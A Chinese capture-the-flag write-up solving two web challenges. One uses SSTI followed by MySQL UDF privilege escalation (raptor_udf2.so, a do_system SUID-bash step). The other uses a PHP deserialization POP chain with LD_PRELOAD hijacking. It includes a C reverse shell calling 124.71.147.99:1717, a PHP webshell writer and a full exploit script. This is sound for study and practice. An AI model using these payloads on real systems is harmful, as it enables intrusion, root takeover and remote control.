2024年 春秋杯 网络安全联赛夏季赛 Web方向 题解WirteUp 部分

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题目描述:web哥,打点容易提权难。

打点就是最简单的SSTI。

执行下find / -user root -perm -4000 -print 2>/dev/null找一下具备suid权限的命令

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/bin/su
/bin/umount
/bin/mount

image-20240705102439501

可疑的命令是/usr/lib/dbus-1.0/dbus-daemon-launch-helper但是没有找到用这个命令提权的资料。

弹shell后翻找一下源码,/app/api.py文件中链接了mysql,事出反常必有妖,猜测利用mysql相关内容进行提权。几经波折锁定在UDF提权。

image-20240706070941572

接下来进行提权,UDF提权。(Linux版)

UDF:User Defined Function 用户自定义函数,MySQL数据库的初衷是用于方便用户进行自定义函数,方便查询一些复杂的数据,同时也有可能被攻击者利用,使用udf进行提权。

提权原理:攻击者通过编写,能调用cmd或者shell的共享库文件(window为.dll,linux为.so),并且导入到一个指定的文件夹目录下,在数据库中通过导入的共享库文件创建自定义函数,该自定义函数功能依照于共享库文件的功能,从而在数据库中调用该自定义函数能够使用系统命令(就像使用version()函数可以查看数据库版本,自定义函数就可以执行系统命令)

执行过程:本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下

(1)攻击者编写,可以调用用cmd或者shel的共享库文件(window为.dll,linux为.so),将共享库导入指定的函数目录中。

(2)在MySQL中创建自定义函数其功能有共享库文件提权。(类似于python中的写了一个函数,其函数主要功能是python内置库中所提供的)

(3)通过创建的函数执行系统命令,实现提权。

利用前提:

  • mysql允许导入导出文件(secure_file_priv)
  • 高权限用户启动,如root。该账号需要有对数据库mysql的insert和delete权限,其实是操作里面的func表,所以func表也必须存在。
  • 未开启‑‑skip‑grant‑tables。开启的情况下,UDF不会被加载,默认不开启。

准备工作

前置条件核验

我们需要核验的条件:

1.数据库的版本信息不高于 5.5.6

2.secure_file_priv为空,允许导入导出文件

3.数据库可以用管理员权限运行

4.存在存放插件(plugin)的目录

可能是反弹shell没有tty的原因,mysql登陆不了。只能直接用命令行执行sql语句了。下文只放SQL语句,linux命令大家自己包哈。

mysql -uctf -p123456 -Dmysql -e "~【SQL语句】~";

image-20240706033049647

查看数据库版本信息。

select version();

image-20240706073323146

查看机器信息。二选一。这里题目是64位的。(不同位数的机器,提权用到的文件有点不一样,详情见文章最后)

show variables like 'version_compile_%';
select @@version_compile_os, @@version_compile_machine;

image-20240706072856178

核验secure_file_priv是否为空,也就是查看是否允许导入导出文件

show global variables like '%secure_file_priv%';
show variables like '%secure%';

这里需要是空值或者是plugin所在的目录,不能是null值
secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

image-20240706071827646

查看当前用户。命令二选一

select user();
select current_user;

image-20240706071105565

查看mysql所有用户,是有root的。

SELECT user,host FROM mysql.user;

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

用以下命令查看特定用户的权限,可以将root修改为任意用户,\G每个字段打印到单独的行,也有’;’的作用。

SELECT * FROM mysql.user WHERE user='root'\G

image-20240706071702400

权限都是Y,但是这是root的,别急,我们看看当前ctf用户的。ok稳了

mysql -uctf -p123456 -Dmysql -e "select * from mysql.user where user = substring_index(user(), '@', 1)\G;";

image-20240706072512971

查看插件的位置,将动态连接文件导入到此目录。这个目录与MySQL的版本和操作系统有关,对于linux MySQL>=5.1的版本,创建函数的目录是plugin,可以用如下的命令查看:

show variables like '%plugin%';

image-20240706072009673

UDF文件准备

启动kali。应该知道UDF提权需要有个可以执行系统命令的UDF文件,所有我们使用searchsploit 搜索mysql UDF 获得UDF文件,kali中命令如下:searchsploit mysql udf

image-20240706030308171

此处我们可以根据MySQL的版本进行选择,这里选择比较通用的第二条1518.c,把1518.c下载下来:searchsploit mysql udf -m 1518

image-20240706030351527

看一眼里面大概有啥(和做题无关):cat 1518.c

image-20240706030525443

重命名UDF文件,用法中首先使用gcc编译,编译的文件名为raptor_udf2.c,因此我们可以先将这个1518.c改名为raptor_udf2.c,方便后续操作,命令如下:mv 1518.c raptor_udf2.c

image-20240706030721755

进行gcc编译,这里最好在靶机中编译(而不是kali),因为不同环境的编译结果可能不一样,既然要对靶机提权,那就在靶机中进行编译。

都在内网-获得初步shell:本地开启有个web服务,目标靶机wget下载

目标靶机外网-自己在内网:将UDF文件上传到自己服务器开启web服务,目标wget下载

根据目标靶机web的功能,如本篇靶机web存在图片上传功能且不存在过滤,就可以将udf上传到目标主机

显然这题是需要上传到自己服务器上面了,python3起个服务。python3 -m http.server 8001

一切正常

image-20240706031724023

回到题目(shell弹到自己服务器上),wget把文件下下来。wget http://124.71.147.99:8001/raptor_udf2.c

image-20240706032235056

开始编译

gcc -g -c raptor_udf2.c -fPIC

该命令是使用gcc编译器来编译名为"raptor_udf2.c"的源代码文件,并生成一个目标文件(object file)。

-g:这个参数告诉编译器在目标文件中包含调试信息。这将使得在调试程序时可以获得更多的信息,例如变量的值和源代码的行号。

-c:这个参数告诉编译器只进行编译而不进行链接。它将源代码文件编译成一个目标文件,而不是生成可执行文件。这在构建大型程序时通常是一个常用的步骤。通常会生成.o文件。

-fPIC:虽然Usage中没有提到这个参数,但还是建议加上。这个参数指定编译为位置独立代码(Position Independent Code)。位置独立代码是一种可执行代码的格式,它可以在内存中的任何位置加载和执行,而不依赖于特定的内存布局。这在生成共享库(shared library)时非常有用,因为共享库可以加载到进程的任何地址空间中。

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

该命令是使用gcc编译器将名为"raptor_udf2.o"的目标文件链接为一个共享库(shared library)文件,并命名为"raptor_udf2.so"。下面是每个选项的解释:

-g:这个选项告诉编译器在生成的共享库文件中包含调试信息。

-shared:这个选项指定编译器生成一个共享库文件,而不是可执行文件。共享库是一种可被多个程序共享和重用的代码库。

-Wl,-soname,raptor_udf2.so:这个选项将"-soname"参数传递给链接器(ld)。“-soname"用于指定生成的共享库文件的名字,这里是"raptor_udf2.so”。

-o raptor_udf2.so:这个选项指定生成的共享库文件的输出文件名,这里是"raptor_udf2.so"。

raptor_udf2.o:这是要链接的目标文件的名称。

-lc:这个选项告诉链接器使用C标准库(libc)。

image-20240706032628192

正式开始

简述一下流程:

1.创建foo表:

2.将UDF文件内容写入foo表

3.将foo表中的UDF文件内容,导出到指定目录中并以UDF文件名命名(2,3实现了将UDF表导入指定目录)

4.通过指定目录下的UDF文件提供的功能创建自定义函数

可能是反弹shell没有tty的原因,mysql登陆不了。只能直接用命令行执行sql语句了。下文只放SQL语句,linux命令大家自己包哈。

image-20240706033049647

建立foo表。CREATE TABLE foo(line blob);。表示在当前数据库中创建一个名为"foo"的表。该表只有一个列名为"line",并且该列的数据类型是BLOB(二进制大对象)。BLOB类型用于存储二进制数据,如图像、音频、视频等。

use mysql;
create table foo(line blob);

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

该SQL语句将加载’/tmp/raptor_udf2.so’文件的内容,并将其作为二进制数据插入到"foo"表的"line"列中。(将我们创建的UDF文件,以二进制数据写入foo表中)

insert into foo values(load_file('/tmp/raptor_udf2.so'));

image-20240706034202599

该SQL语句用于导出"foo"表中所有行的数据,并将其以文本形式写入到’/usr/lib/mysql/plugin/raptor_udf2.so’文件中。特别注意,这里的写入路径是plugin目录的路径,在“提权前提”小节中已经提到,如果你不知道plugin目录的路径,可以用show variables like ‘%plugin%’;进行查看。mysql -uctf -p123456 -Dmysql -e "show variables like '%plugin%';";

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

image-20240706034323133

这个SQL语句用于在MySQL中创建一个名为"do_system"的函数,该函数返回一个整数值。该函数的实现由外部库"raptor_udf2.so"提供。

create function do_system returns integer soname 'raptor_udf2.so';

image-20240706034602100

注:另外一篇windows的UDF提权文章是这样子创建函数的create function sys_eval returns string soname ‘udf.dll’;

查看我们是否成功创建了函数。成了!

select * from mysql.func;

image-20240706034621287

此时我们应该可以使用do_system函数执行任意系统命令了。接下来是花式拿flag~

——————————————【分割线,姿势1】——————————————

那么我们可以do_system函数进行提权,do_system函数执行结果0表示成功。语句如下:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

image-20240706034736220

do_system中的这条Linux命令是将/bin/bash(Bash shell可执行文件)复制到/tmp目录下,并将复制后的文件命名为rootbash。接着,使用chmod命令给/tmp/rootbash设置权限,使用+xs参数将其设为可执行文件,并将其所有者的权限设置为具有特殊权限。接下来我们只要在www-data的shell中执行rootbash即可:(这是linux命令哈,不是SQL语句)

/tmp/rootbash -p

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

也可以在mysql里面执行命令。

select do_system("whoami");

——————————————【分割线,姿势2】——————————————

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令, 0代表执行成功 。

select do_system('chmod 777 /flag');

image-20240706041024392

执行命令,成功提权。

image-20240706041043429

总结一下,上述两个姿势都是提权后UDF具备root权限可以执行命令比如chmod,但是用户还是题目初始的one,暂时没找到办法提到root。


拷贝一下国光佬博客内容。UDF 提权常常需要使用原生 SQL 语句来导出 UDF 动态链接库文件,所以接下来内容就是为了方便之后复制使用。

lib_mysqludf_sys_32.dll

SELECT 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INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';

lib_mysqludf_sys_64.dll

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INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';

lib_mysqludf_sys_32.so

SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

lib_mysqludf_sys_64.so

SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

参考文献:

UDF提权(linux)_mysql5.5.6 linux提权-CSDN博客

渗透测试:数据库UDF提权(linux)-CSDN博客

linux环境下的MySQL UDF提权_mysql udf提权 linux-CSDN博客

Mysql之UDF提权-CSDN博客

udf提权-CSDN博客

mysql udf提权 - 浅易深 - 博客园 (cnblogs.com)

【数据库提权系列】—【Mysql-UDF提权篇】 - FreeBuf网络安全行业门户

Hijack

题目描述:hijack

开题直接给了源码:

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
    $pattern = array('\'', '"','%','\(','\)',';','bash');
    $pattern = '/' . implode('|', $pattern) . '/i';
    if(preg_match($pattern,$a)){
        die("No injecting!!!");
    }
    return $a;
}
class ENV{
    public $key;
    public $value;
    public $math;
    public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value");
        system("cat hints.txt");
    }
    public function __wakeup()
    {
        if (isset($this->math->flag))
        {
            echo getenv("LD_PRELOAD");
            echo "YesYes";
        } else {
            echo "YesYesYes";
        }
    }
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

    public function __isset($arg1)
    {
        system("cat /flag");
        $this->callback->p;
        echo "You are stupid, what exactly is your identity?";

    }

}
class FILE{
    public $filename;
    public $enviroment;
    public function __get($arg1){
        if("hacker"==$this->enviroment){
            echo "Hacker is bad guy!!!";
        }
    }
    public function __call($function_name,$value)
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0]));
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }
    }
}
class FUN{
    public $fun;
    public $value;
    public function __get($name)
    {
        $this->fun->getflag($this->value);
    }
}
$c = $_POST['Harder'];
unserialize($c);

?> 

image-20240705181107217

扫了一眼,应该是POP链+LD_PRELOAD

有文件上传有环境变量修改就是LD_PRELOAD劫持(ld劫持),在VNCTF2024-givenphp出现过

image-20240705181711325

image-20240705181718419

这里捋一下LD_PRELOAD劫持的前世今生吧

LD_PRELOAD 中指定的文件会在动态链接器按照固定规则搜索共享库之前装载,他比 LD_LIBRARY_PATH 所指定的目录中的共享库还要优先。无论时否依赖它们,LD_PRELOAD 中指定的共享库或目标文件都会被装载。

如果我们有文件上传的权限,又可以修改LD_PRELOAD,那么LD_PRELOAD装载哪个文件,即程序运行时候哪个文件一定会被运行就是我们可以决定的了。

可以看看这两篇:

LD_PRELOAD劫持(超详细篇)-CSDN博客

Linux 环境变量之 LD_PRELOAD & LD_LIBRARY_PATH & LD_DEBUG-CSDN博客

先搓一下POP链:

文件上传的POP:(把.so传上去)

ENV::__wakeup()->DIFF::__isset()->FUN::__get()->FILE::__call()

image-20240706174958680

修改LD_PRELOAD的POP:(书写.so文件中我们想执行的系统命令)

ENV::__wakeup()->DIFF::__isset()->FILE::__get()->ENV::__toString()

image-20240706175053974

image-20240706175107566

目前手头上用过的初始.c文件有三种,做题时候选取第三个。

#include <stdio.h>
#include <stdlib.h>
void _init() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    FILE *file;
    file = fopen("/var/www/html/17.php", "w");
    if (file == NULL) {
        printf("无法打开文件\n");
        return;
    }
    fprintf(file, "<?php @eval($_POST[1]);?>\n");
    fclose(file);
    printf("文件写入成功\n");
}
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
char *server_ip = "124.71.147.99";
uint32_t server_port = 1717;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)
        exit(0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execve("/bin/bash", 0, 0);
}

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("cat /flag_26fb6e115a0e66cca28b");
}

有个小小注意点就是编译要在Linux下编译。

gcc -fPIC -shared -o 3.so 3.c -nostartfiles
gcc -shared -fPIC 3.c -o 3.so

POC:

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
    $pattern = array('\'', '"','%','\(','\)',';','bash');
    $pattern = '/' . implode('|', $pattern) . '/i';
    if(preg_match($pattern,$a)){
        die("No injecting!!!");
    }
    return $a;
}
class ENV{#
    public $key;
    public $value;
    public $math;
    public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value");
        system("cat hints.txt");
    }
    public function __wakeup()#
    {
        if (isset($this->math->flag))
        {
            echo getenv("LD_PRELOAD");
            echo "YesYes";
        } else {
            echo "YesYesYes";
        }
    }
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

    public function __isset($arg1)#
    {
        system("cat /flag");
        $this->callback->p;
        echo "You are stupid, what exactly is your identity?";

    }

}
class FILE{#
    public $filename;
    public $enviroment;
    public function __get($arg1){
        if("hacker"==$this->enviroment){
            echo "Hacker is bad guy!!!";
        }
    }
    public function __call($function_name,$value)#
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0]));
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }
    }
}
class FUN{
    public $fun;
    public $value;
    public function __get($name)
    {
        $this->fun->getflag($this->value);
    }
}




#ENV::__wakeup()->DIFF::__isset()->FUN::__get()->FILE::__call()
//
//$a=new ENV();
//$a->math=new DIFF();
//$a->math->callback=new FUN();
//$a->math->callback->fun=new FILE();
//$a->math->callback->value='~【这里放被base64编码的.so文件】~';
//$a->math->callback->fun->filename='17.so';


#ENV::__wakeup()->DIFF::__isset()->FILE::__get()->ENV::__toString()

$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FILE();
$a->math->callback->enviroment=new ENV();
$a->math->callback->enviroment->key='LD_PRELOAD';
$a->math->callback->enviroment->value='/tmp/e416cd929901cf4e363e798e011d2556.so';




//$a=new ENV();
//$a->math->flag='a';


echo urlencode(serialize($a));
//unserialize(serialize($a)); #调试用

对于这题,上述流程要打两次,第一次ls /查看flag的位置,第二次cat /flag_XXXXX

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